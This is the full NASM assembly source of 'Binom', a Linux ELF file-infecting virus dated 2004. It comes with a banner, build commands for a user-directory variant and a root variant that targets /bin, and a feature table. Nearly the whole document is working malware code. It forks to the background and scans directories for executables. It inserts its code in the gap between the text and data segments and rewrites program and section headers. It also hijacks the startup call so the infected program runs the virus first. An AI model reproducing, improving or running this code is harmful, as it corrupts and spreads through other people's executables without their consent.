;                                       
;
;                         _______ __   __ __   _ _______  _____  _     _
;                         |         \_/   | \  | |______ |     |  \___/
;                         |_____     |    |  \_| |______ |_____| _/   \_
;                                              
;
;                                     proudly presents 
;
;         .____    .__       ________  ________   __________.__                      
;         |    |   |__| ____ \_____  \ \_____  \  \______   \__| ____   ____   _____ 
;         |    |   |  |/    \  _(__  <  /  ____/   |    |  _/  |/    \ /  _ \ /     \
;         |    |___|  |   |  \/       \/       \   |    |   \  |   |  (  <_> )  Y Y  \
;         |_______ \__|___|  /______  /\_______ \ /\______  /__|___|  /\____/|__|_|  /
;                 \/       \/       \/         \/ \/      \/        \/     
;                                                              Date: 2.10.2004 
;
;
;  |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|         |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;  -|-|-| I*N*T*R*O*D*U*C*T*I*O*N |-|-|-|-         -|-|-|-|-|-| C*O*M*P*I*L*E |-|-|-|-|-|-
;
;     Well I dont want to tell you much               There are options to compile this
;    about this project... Just check                source: FUCK_USER or FUCK_SYSTEM
;    out the code and build your own                  
;    oppinion. I'd like to thank to all              bash:# nasm -f elf -D [OPTION] -o \
;    people on #DCA , #vx-lab , #lin32asm                     binom.o binom.asm
;    for all their support.                          OPTION=FUCK_USER or FUCK_SYSTEM
;    And now something special to my dar-            
;    ling: Caline I'll always love you.              bash:# gcc -o binom binom.o 
;
;
;       |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;               -|-|-|-|-|-|-|-|-|-|-|-| A*B*O*U*T |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
;                         |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;
;                             Like I said there 2 options.Binom 
;                            means "two" so you'll have 2 versions
;                            of the virus. Its quite simple since
;                            it uses macros.
;
;             Option          FUCK_USER         |      FUCK_SYSTEM
;         ------------------|------------------------------------------
;         Path to infect    | "."               |       "/bin"
;         -------------------------------------------------------------
;            File type      |      ELF          |         ELF 
;         -------------------------------------------------------------
;         Required rights   |  normal           |       root 
;         -------------------------------------------------------------
;           Infecting       | SPI + Abuse of    |   SPI + Abuse of                  
;          technique        | _libc_start_main  |   shard libraries
;        --------------------------------------------------------------
;                           |  yes(calculating  |      yes 
;              EPO          |return addr using  |
;                           |relative offsets)  |
;        --------------------------------------------------------------
;            Payload        |   yes(print msg)  |     yes(print msg) 
;        --------------------------------------------------------------
;                           |  no (change       |  no(change push 
;            Change entry   | call instruction  |  instruction in the 
;             point         | in the startup    |  startup routine 
;                           | routine)          |
;        --------------------------------------------------------------
;           Files nr. to    |       all         |         all 
;             infect        |                   | 
;        --------------------------------------------------------------
;           Invisible       |  yes(foking to    |  yes(froking to back-
;                           |    background)    |    ground)
;        --------------------------------------------------------------
;
;
;                       |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
;             -|-|-|-|-|-|-|-|-|-|-|-| E*O*F |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
;      |-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
  
                                     

%define SYS.FORK 2
%define SYS.READ 3
%define SYS.WRITE 4
%define SYS.OPEN 5
%define SYS.CLOSE 6
%define SYS.CHDIR 12
%define SYS.LSEEK 19
%define SYS.GETUID 24
%define SYS.GETGID 47
%define SYS.READDIR 89
%define SYS.MMAP 90 
%define SYS.UNMMAP 91
%define SYS.STAT 106
%define SYS.GETCWD 183

%define STRUCT_STAT_SZ 64
%define STRUCT_DIRENT_SZ 266
%define STRUCT_MMAP_SZ 24
%define LOCAL_STACK_SZ 80
%define GLOBAL_STRUCT_SZ 134       
%define MAGIC_FILE_MODE 7q
%define MAGIC_FILE_BIT_MASK 170000q
%define MAGIC_ELF 0x464c457f
%define MAGIC_ELF_BASE 0x8048000
%define MAGIC_VIRUS_SIZE 0x1000      
%define E_TYPE_OFFSET 16 
%define E_ENTRY 0x18
%define E_PHOFF 0x1c
%define E_PHENTSIZE 0x20 
%define E_SHOFF 0x20
%define E_SHENTSIZE 0x28
%define E_PHNUM 0x2c
%define E_SHNUM 0x30
%define PHDR_INDEX_DATA 3
%define PHDR_INDEX_TEXT 2
%define PHDR_P_FILESZ 16
%define PHDR_P_MEMSZ 20
%define PHDR_P_VADDR 8
%define SHDR_SH_OFFSET 16
%define SHDR_SH_SIZE 20

%ifdef FUCK_SYSTEM

%define FIRST_PATH 0x0         

%endif



%ifdef FUCK_USER

%define FIRST_PATH 0x2e

%endif

%define PATH_LENGHT 128
%define REG_FILE 10q
%define DIREC 4q
%define POINT 0x002e
%define DOUBLE_POINT 0x2e2e

section .text


global main

main:
                  pusha
                  pushf
		      
		      push ebp
		      mov esp,ebp
		      
		      ; fork us baby ....
		      mov eax,SYS.FORK
		      mov ebx,0
		      int 0x80
		      
		      ; checking wheter child or parent process 
		      ; is active
		      
		      cmp eax,0
		      jne parent_process
		      
child_process: 
                  ; first of all we must get the sysuid of current
		      ; user...maybe we're root ;))
		      		      
		      mov eax,SYS.GETUID
		      int 0x80
		      
		      push eax
		      
		      ; get gid and store it on stack...
		      mov eax,SYS.GETGID
		      int 0x80
		      
		      push eax
		      
		      ; allocate space for the stat structure 
		      ; which will be needed by the stat function...
		      ; then we'll scan beginning with "/" all directories
		      ; and searching for ELF files.
		      
		      sub esp,STRUCT_STAT_SZ
		      
		      ; here are the "default" infos which are needed by stat() 
		      push dword FIRST_PATH               ; first path to 	start with scaning
		      push dword 0x7                      ; file permissions
		     
		     
%ifdef FUCK_SYSTEM		     
		      mov esi,_system
		      
%endif		      
		      
		      ; start scaning beginning with FIRST_PATH
		      call scan4files
		      
		      add esp,4*2                         ; restore "default" infos
                  add esp,STRUCT_STAT_SZ              ; restore stat structure
		      add esp,8	                        ; restore gid and uid
		      jmp restore_data
		   
parent_process:
                  mov eax,SYS.WRITE
		      mov ebx,1
		      mov ecx,payload
		      mov edx,len
		      int 0x80
		      
		      jmp _exit
                      
scan4files: 

%ifdef FUCK_USER
                  mov esi,esp
		      add esi,8
		      
%endif		      
		      		      
		      
		      mov edi,esp
		      add edi,4                           ; edi = access permissions
		     
		      
		      ; store some space for our "global" structure for files 
		      ; this structure will contain the needed file descriptor
		      ; , the access permissions and the complete path name 
		      ; of that file...
		      
		      sub esp,4                           ; fd
		      sub esp,1                           ; permissions
		      sub esp,1                           ; file type : reg file or directory
		      sub esp,PATH_LENGHT                 ; complete path lenght of file
		      ;---> GLOBAL_STRUCT_SZ = size of this "global" structure
		      
		      
		      ; stat our file name and complete the global structure
		      ; with necessary information
		      
		      mov eax,SYS.STAT
		      mov ebx,esi                         ; file name
		      mov ecx,ebp                         ; BASE pointer
		      sub ecx,STRUCT_STAT_SZ              ; move to beginning of our stat structure
		      int 0x80
		      
		      cmp eax,0x0
		      jge stat_ok
		      jmp _stat_error
		      
		      
		      
                      
restore_data:
                  pop ebp
                  popf
                  popa
		      
		      jmp _exit
		      
stat_ok: 
                      ; checking permissions on FIRST_PATH
		      mov ebx,ebp
		      sub ebx,STRUCT_STAT_SZ             ; move to stat structure
		      
		      mov ax,[ebx+8]                     ; stat.st_mode
		      
		      ; comparing uid of FIRST_PATH with uid of currently 
		      ; executed file...
		      
		      mov cx,word [ebx+12]               ; stat.st_uid
		      cmp word cx,[ebp-4]
		      je user_permission                 ; we have user permission on FIRST_PATH
		      
		      mov cx,word [ebx+14]
		      cmp word cx,[ebp-8]
		      je group_permission                ; group access
		      
		      ; check if we're root ... hehe..
		      
		      cmp word [ebp-8],0
		      je user_permission
		      
others_permission:
                  ; ax = stat.st_mode ( look below )
		      and al,MAGIC_FILE_MODE
		      jmp access_file
		      
user_permission:
                  shr ax,0x6
		      and al,MAGIC_FILE_MODE
		      jmp access_file
		      
group_permission:
                  shr ax,0x3
		      and al,MAGIC_FILE_MODE
                      

access_file:
                  ; store access permissions to our global 
		      ; structure
		      
		      mov byte [esp+PATH_LENGHT+1],al   ; permissions
		      
		      ; checking file type : REG_FILE or DIREC
		      
		      mov ebx,ebp
		      sub ebx,STRUCT_STAT_SZ
		      mov ax,[ebx+8]                    ; stat.st_mode
		      and ax,MAGIC_FILE_BIT_MASK 
		      shr ax,12
		      
		      ; store file type to glob. structure...
		      mov byte [esp+PATH_LENGHT],al
                      
		      ; checking if REG_FILE or DIREC ...
		      mov al,byte [esp+PATH_LENGHT]
		      cmp al,DIREC
		      je directory                      ; jmp if file name is a directory
		      
		      cmp al,REG_FILE 
		      je near regular_file              ; jmp if regular file...
		      
		      jmp _access_error
		      

directory:
                  ; save current working directory...
		      
		      mov eax,SYS.GETCWD
		      mov ebx,esp
		      mov ecx,PATH_LENGHT
		      int 0x80
		      
		      ; opening directory...
		      
		      mov eax,SYS.OPEN
		      mov ebx,esi                       ; file name
		      mov ecx,0                         ; ecx = 0 = O_RDONLY
		      mov edx,0
		      int 0x80
		      
		      ; check returned file descriptor....
		      
		      cmp eax,0x0
		      jge open_ok
		      jmp _open_error
		      
open_ok:
                  ; save file descriptor to our glob.structure...
		      
		      mov [esp+PATH_LENGHT+2],eax       ; file descriptor
		      
		      ; chdir to that directory so we can search for another 
		      ; files in that directory...
		      
		      mov eax,SYS.CHDIR
		      mov ebx,esi                       ; file name
		      int 0x80
		      
		      ; allocating stack space for our dirent structure 
		      ; which will be needed for searching new files etc.
		      
		      
		      sub esp,STRUCT_DIRENT_SZ
		      
read_directory:

                  mov eax,SYS.READDIR
		      mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
		                                        ; file descriptor
		      mov ecx,esp
		      mov edx,1
		      int 0x80
		      
		      cmp eax,0x1
		      jne near _readdir_error
		      
		      ; search for files in the directory and call scan4files...
		      ; we'll have to skip "." and ".." coz they're
                  ; irrelevant to us
		      
		      
		      cmp word [esp+10],POINT           ; [esp+10]=dirent.d_name
		      je skip_points
		      
		      cmp word [esp+10],DOUBLE_POINT
		      je skip_points
		      
		      xor eax,eax
		      mov al,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+1]
		                                        ; file permissions
		      add esp,10                        ; dirent.d_name
		      
%ifdef FUCK_USER
                  push eax
		      
%endif	

%ifdef FUCK_SYSTEM
	 	      mov esi,esp
		      
%endif		      
		      call scan4files 
		      
%ifdef FUCK_USER		      
		      add esp,4                         ; restore that "push eax"
		      
%endif		      
		      sub esp,10                        ; restore "add esp,10"
		      
		      
skip_points:
                  jmp read_directory
		      
                      
regular_file:	      
                  ; open file with flags READ & WRITE 
		      
		      mov eax,SYS.OPEN
		      mov ebx,esi                       ; esi = file name
		      xor ecx,ecx
		      mov ecx,2
		      int 0x80
		      
		      cmp eax,0
		      jg file_write_perms
		      
		      jmp scan_return
		      
file_write_perms:
		      
		      ; save opened file descriptor to global structure
		      
		      mov [esp+PATH_LENGHT+2],eax
		      
		      ; finding out file's size using lseek ;)
		      
		      mov eax,SYS.LSEEK
		      mov ebx,[esp+PATH_LENGHT+2]       ; fd
		      xor ecx,ecx
		      mov edx,2                         ; SEEK_END
		      int 0x80
		      
file_map:
                  mov ecx,eax                       ; ecx = file lenght
                  mov eax,SYS.MMAP
		      mov edx,[esp+PATH_LENGHT+2]       ; fd
		      
		      ; declaring mmap structure ...
		      sub esp,STRUCT_MMAP_SZ
		      mov dword [esp],0                 ; int start
		      mov [esp+4],ecx                   ; file lenght
		      mov dword [esp+8],3               ; READ_WRITE
		      mov dword [esp+12],1              ; MAP_SHARED
		      mov dword [esp+16],edx            ; fd
		      mov dword [esp+20],0              ; int offset 
		      mov ebx,esp                       ; pointer to mmap structure
		      int 0x80
		      
		      ; restoring mmap structure...
		      add esp,STRUCT_MMAP_SZ
		      
		      cmp eax,-1
		      jne file_map_ok
		      
		      jmp scan_return 
		      
file_map_ok:
                  ; save us some stack where we can store mmap addr,file
                  ; lenght etc...
		    
		      mov esi,eax
		      mov ebx,[eax]
	            mov edx,MAGIC_ELF
		      cmp edx,ebx
		      je file_is_elf
		      		      
close_target:				      
                  mov ebx,esi
		      mov eax,SYS.UNMMAP
		      int 0x80
		      
		      mov eax,SYS.CLOSE
		      mov ebx,[esp+PATH_LENGHT+2]
		      int 0x80
		     
		      
		      jmp scan_return 
		      
file_is_elf: 
                  ; ok...we found an ELF file.but remember there are
		      ; several ELF file types like : executables, objects,
		      ; relocatables...only the executable ones are for us 
		      ; relevant...
		      
		      
		    
		      
file_elf_exec:	
                  ; checking is found file is an executable ELF file...
		      ; therefore we will jump at offset ehdr.e_type and will 
		      ; compare the value with 2 . if the value = 2 then we found
		      ; an executable and we can start with the infection of our file..
		      
		      mov eax,esi                       ; esi = addr of maped file
		      add eax,E_TYPE_OFFSET
		      mov eax,[eax]                     ; data pointed by eax(addr of maped file) 
		      
		      mov edx,eax
		      xor eax,eax 
		      mov al,dl                         ; we only need the first byte 
		        
		      cmp byte al,0x2                   ; checking if ehdr.e_type == ET_EXEC
		      je elf_exec_ok
		      jmp close_target
		      
elf_exec_ok:
                  ; we need some stack for storing our mmap addr , file
                  ; lenght , etc.
		      
		      sub esp,LOCAL_STACK_SZ
		      
		      mov [esp+4],esi                   ; mmap addr
		      mov [esp+8],ecx                   ; file lenght
		      
		      mov eax,[esi+E_ENTRY]             ; ehdr.e_entry 
		      mov [esp+12],eax                  ; store entry point
		      
		      mov eax,[esi+E_PHOFF]             ; ehdr.e_phoff
		      mov [esp+16],eax                  ; store phdr offset
		      
		      mov eax,[esi+E_SHOFF]             ; ehdr.e_shoff
		      mov [esp+20],eax                  ; store shdr offset
		      
		      mov eax,[esi+E_PHNUM]
		      and eax,0xffff                    ; ehdr.e_phnum 
		      mov [esp+24],eax                  ; store phdr number
		      
		      mov eax,[esi+E_SHNUM]
		      and eax,0xffff                    ; ehdr.e_shnum 
		      mov [esp+28],eax                  ; store shdr number
		      
check_if_space:
                  ; checking if space is available between code segment
                  ; and data segment...
		      ; since the code size is limited we must check if there is
		      ; enough space where to insert our virus code.maximum code
		      ; size is restricted by code alignment which is 0x1000=4096.
		      ; SO : if the difference between code and data segment
                  ; is lower than ELF_PAGE_SZ=0x1000 then we'll have to
                  ; cancel our infection routine...
		      
		      mov ebx,[esp+16]                  ; e_phoff
		      add esi,ebx                       ; esi=ptr to mapped
                                                    ; file --> move to first PHDR entry phdr[0]
		      mov ecx,[esi+32*PHDR_INDEX_DATA+PHDR_P_VADDR]
		                                        ; phdr[3].p_vaddr : data segment (RW)
		      
		      mov eax,[esi+32*PHDR_INDEX_DATA+PHDR_P_FILESZ]
		                                        ; phdr[3].p_filesz 
			
		      mov ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; phdr[2].p_filesz: text segment (RE)
							
		      mov [esp+32],ebx                  ; store p_filesz of .text
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; phdr[2].p_vaddr
							
		      add ebx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; phdr[2].p_filesz + phdr[2].p_vaddr
							
	            sub ecx,ebx                       ; phdr[3].p_vaddr - (phdr[2].p_filesz + phdr[2].p_vaddr)				
		      
		      mov eax,MAGIC_VIRUS_SIZE          ; the virus size is actually the ELF_PAGE_SIZE
		      cmp ecx,eax
		      jl near no_insertion_space
		      
		      
		      ; from now on the target is actually ready to be infected...
		      ; we have an executable ELF file which has enough space 
		      ; between his code and data segment to insert our virus code...
		      

%ifdef FUCK_USER 

start_infection:
                  ; first of all we must do some "comparisation" processes..
		      
		      mov eax,[esp+12]                  ; e_entry
		      sub eax,MAGIC_ELF_BASE            ; find out offset to entry code
		      
		      mov esi,[esp+4]                   ; addr to mapped file
		      add esi,eax
		      
		      ; compare "call" of current program with "call" of target
		      ; to see if target was infected by a superiour virus		   		      
		      	      
		      add esi,0x21
		      mov ebx,esi                       ; "beyond the call" 
		      
		      sub esi,0x21
		      add esi,0x1d
		      mov ecx,esi                       ; our patch address
		     
		      mov [esp+36],ebx                  ; store addr "beyond the call"
		      mov [esp+40],ecx                  ; store "our patch address"
                      
		      ; now we'll have to patch that addr with our new entry 
		      ; point.REMEMBER: the entry point in the EHDR WILL NOT BE
		      ; CHANGED.THATS THE FUNNY THING OF THIS VIRUS ;=) 
		      
		      mov esi,[esp+4]                   ; mmap addr
		      mov ebx,[esi+E_PHOFF]             ; offset to first byte
                                                        ; of PHDR
		      add esi,ebx                       ; move to first byte
		      
		      mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; p_filesz 
							
		      mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; p_vaddr
							
		      add ecx,edx                       ; p_vaddr + p_filesz 
		      
		      ; align up the new entry point addr
		      ; ALIGN_UP(x) (((x)+15)& ~15)
		      
		      add ecx,15                        ; ecx = new entry
                                                        ; point
		      and ecx,~15                  
		      
		      mov ebx,[esp+36]                  ; addr beyond the call 
		      sub ecx,ebx
		      
		      mov edx,[esp+40]                  ; "patch addr"
		      
		      ; first of all find out the addr which call should have called...
		      mov esi,[esp+36]                  ; beyond the call
		      mov eax,[edx]                     ; patch point
		      add eax,esi                       ; addr we search for 
		      
		      mov [edx],ecx                     ; store new addr 
		      
		      mov [esp+44],ecx                  ; copy new relative offset to stack
		      
		      mov [esp+48],eax                  ; original addr 
		      
		     
 
%endif

%ifdef FUCK_SYSTEM

start_infection:
                  mov eax,[esp+12]                  ; entry addr 
		      sub eax,MAGIC_ELF_BASE            ; offset to entry point 
		      
		      mov esi,[esp+4]                   ; mmap addr
		      add esi,eax
		      
		      add esi,0x18                      ; our patch point
                  mov ecx,esi                       ; our patch address
		      
		      sub esi,0x18
		      add esi,0x21                      ; "beyond the call" 
		      mov ebx,esi
		     
		      mov [esp+36],ebx                  ; store addr "beyond the call"
		      mov [esp+40],ecx                  ; store "our patch address"
  
                  mov esi,[esp+4]                   ; mmap addr
		      mov ebx,[esi+E_PHOFF]             ; offset to first byte
                                                    ; of PHDR
		      add esi,ebx                       ; move to first byte
		      
		      mov ecx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		                                        ; p_filesz 
							
		      mov edx,[esi+32*PHDR_INDEX_TEXT+PHDR_P_VADDR]
		                                        ; p_vaddr
							
		      add ecx,edx                       ; p_vaddr + p_filesz 
		      
		      ; align up the new entry point addr
		      ; ALIGN_UP(x) (((x)+15)& ~15)
		      
		      add ecx,15                        ; ecx = new entry
                                                    ; point
		      and ecx,~15
		      
		      mov ebx,[esp+40]                  ; our patch addr
		      mov eax,[ebx]
		      
		      ; save original addr to stack
		      mov [esp+48],eax
		      mov [ebx],ecx                     ; patching addr
		      
%endif

patch_e_phoff:
                  mov esi,[esp+4]
		      mov ebx,[esi+E_PHOFF]
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ]
		      
		      add esi,ebx
		      
		      ; store p_filesz to stack
		      mov [esp+52],eax
		      
		      ; patch p_filesz
		      add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_FILESZ],MAGIC_VIRUS_SIZE
		      
		      ; store p_memsz to stack 
		      mov eax,[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ]
		      mov [esp+56],eax 
		      
		      ; patch p_memsz
		      add dword[esi+32*PHDR_INDEX_TEXT+PHDR_P_MEMSZ],MAGIC_VIRUS_SIZE
		      
		      ; initialize registers for patch_phdr 
		      mov edx,[esp+4]                   ; mmap addr 
		      mov eax,[esp+16]                  ; old ehdr.e_phoff
		      add edx,eax                       ; move to phdr[0]
		      mov ebx,MAGIC_VIRUS_SIZE
		      mov eax,[esp+32]                  ; old p_filesz
		      mov ecx,[esp+24]                  ; ehdr.e_phnum -> needed by the loop instruction
		      
patch_phdr:		      
		      cmp dword [edx+4],eax             ; (edx+4)=p_offset
		                                        ; compare if
                                                    ; p_offset >= end of code segment(old p_filesz) 
		      jbe next_phdr_entry
		      
		      add dword [edx+4],ebx             ; else patch
                                                    ; p_offset -> new p_offset = old p_offset + MAGIC_VIRUS_SIZE
next_phdr_entry:
                  add edx,E_PHENTSIZE               ; move to next entry
		      loop patch_phdr
		      
		      
		      ; patching ehdr.e_shoff
		      mov ebx,[esp+4]
		      mov ecx,[ebx+E_SHOFF]             ; e_shoff
		      add dword [ebx+E_SHOFF],MAGIC_VIRUS_SIZE
		      
		      mov edx,[esp+4]
		      mov ebx,ecx                       ; old e_shoff
		      add edx,ecx                       ; move to shdr[0]
		      
		      ; initialize registers for patch_shdr
		      mov ecx,[esp+28]                  ; ehdr.e_shnum
		      mov eax,[esp+32]                  ; old p_filesz 
		      
patch_shdr:
                  cmp dword [edx+SHDR_SH_OFFSET],eax
		                                        ; compare if
                                                    ; shdr.sh_offset >= old p_filesz 
		      jge do_patch
		      
		      mov ebx,dword [edx+SHDR_SH_OFFSET]
		      add ebx,dword [edx+SHDR_SH_SIZE]
		      cmp ebx,eax                       ; if sh_offset + sh_size == old p_filesz
		      
		      je patch_sh_size                  ; patch the code segment 
		      jmp next_shdr_entry
		      
patch_sh_size:
                  ; include trailing code in last section
		      ; of code segment (should be .rodata)
		      
                  add ebx,MAGIC_VIRUS_SIZE          ; increase lenght of .rodata
		      jmp next_shdr_entry
		      
do_patch:
                  add dword [edx+SHDR_SH_OFFSET],MAGIC_VIRUS_SIZE
		                                        ; patch sh_offset 
                      
next_shdr_entry:
                  add edx,E_SHENTSIZE               ; next SHDR entry
		      loop patch_shdr
		      		      

fuck_em_all:
                  mov ebx,[esp+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      xor ecx,ecx                       ; ecx=0=beginning of file
		      xor edx,edx                       ; edx=0=SEEK_SET
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      ; seek to end of code segment(old p_filesz)
		      mov ecx,[esp+32]                  ; old p_filesz
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      ; caution: lame coding style ;) 
		      
		      ; now we'll need to "save" the original content 
		      ; of the file so we can copy it after infecting
		      ; file...therefore we'll use sys.read..
		      ; like i said ; quite lame ;)
		      mov eax,[esp+32]                  ; old p_filesz 
		      mov ebx,[esp+8]                   ; file lenght
		      sub ebx,eax

		      sub esp,ebx                       ; create temporary stack
		      
		      mov edx,ebx
		      mov esi,edx                       ; ebx=edx=esi=difference
		      
		      ; seeking...
		      mov ebx,[esp+edx+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      mov ecx,[esp+edx+32]              ; old p_filesz
		      xor edx,edx                       ; edx = 0 
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      ; reading...
		      mov edx,esi
		      mov ecx,esp
		      mov eax,SYS.READ
		      int 0x80
		      
write_me:
                  ; we'll gonna seek again in the file...
		      ; but this time with the aligned offset(needed 
		      ; to insert our virus code properly)
		      
		      mov ebx,[esp+esi+LOCAL_STACK_SZ+PATH_LENGHT+2]
		                                        ; fd
		      mov ecx,[esp+esi+32]              ; old p_filesz
		      
		      ; ALIGN_UP(x) ...
		      add ecx,15
		      and ecx,~15
		      xor edx,edx                       ; edx=0=SEEK_SET
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      ; writting... --> pushy
		      mov ecx,pushy
		      mov edx,1
		      mov eax,SYS.WRITE
		      int 0x80
		      
		      ; writting... --> original entry point 
		      mov ecx,[esp+esi+48]
		      push ecx
		      mov ecx,esp
		      mov edx,4
		      mov eax,SYS.WRITE
		      int 0x80
		      
		      pop ecx
		      
		      ; writting... --> till _exit
		      mov ecx,main
		      mov edx,len_till_exit
		      mov eax,SYS.WRITE
		      int 0x80
		      
		      ; writting...--> virus_code="ret"
		      mov ecx,virus_code
		      mov edx,vircode_len
		      mov eax,SYS.WRITE
		      int 0x80
		      
		      ; writting...--> after exit
		      mov ecx,test_me
		      mov edx,test_me_len
		      mov eax,SYS.WRITE
		      int 0x80
		      
write_rest_of_file:
                      ; seek after the virus code to insert the rest
		      ; of the file
		      
		      ; seek to beginning of file
		      xor ecx,ecx
		      xor edx,edx
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      mov ecx,[esp+esi+32]              ; old p_filesz
		      add ecx,MAGIC_VIRUS_SIZE
		      xor edx,edx
		      mov eax,SYS.LSEEK
		      int 0x80
		      
		      mov ecx,esp
		      mov edx,esi
		      mov eax,SYS.WRITE
		      int 0x80                          ; write rest of file
	  
		      add esp,esi                       ; restoring temporary stack
		      
		      
no_insertion_space:

unmap:
                  mov eax,SYS.UNMMAP
		      mov ebx,[esp+4]                   ; mmap addr
		      mov ecx,[esp+8]                   ; file lenght
		      int 0x80
		      
		      add esp,LOCAL_STACK_SZ
		      jmp close_target
		    
		      
		      
scan_return:
                  add esp,GLOBAL_STRUCT_SZ
		      ret

_readdir_error:	
                  mov eax,SYS.CLOSE                 ; close directory
		      mov ebx,[esp+STRUCT_DIRENT_SZ+PATH_LENGHT+2]
                  add esp,STRUCT_DIRENT_SZ          ; restore dirent structure
		      
		      mov eax,SYS.CHDIR                 ; move to previous current directory
		      mov ebx,esp                       ; old PATH
		      int 0x80
		      
		      jmp _stat_error
		      
_open_error:		    
          		      
		      jmp _stat_error
_access_error:		      
                      	      
_stat_error:

                  add esp,GLOBAL_STRUCT_SZ          ; restore data allocated for our global structure
		      ret
      

len_till_exit equ $-main 
_exit:
                      xor eax,eax
                      inc eax
                      int 0x80
		      
test_me:		      
		      
%ifdef FUCK_USER

payload db "[[ Cyneox/DCA (C) Copyright 2004 ]]!",0xA
len equ $-payload

%endif



%ifdef FUCK_SYSTEM

payload db "<< ..You've been binomitized!.. >> by cyneox",0xA
len equ $-payload

_system db "/bin",0x0                                  ; path where to search in when "fucking" up the whole system                                 

%endif


pushy:
                     push dword 0x0
		     
virus_code:
                     ret
vircode_len equ $-virus_code		     

test_me_len equ $-test_me
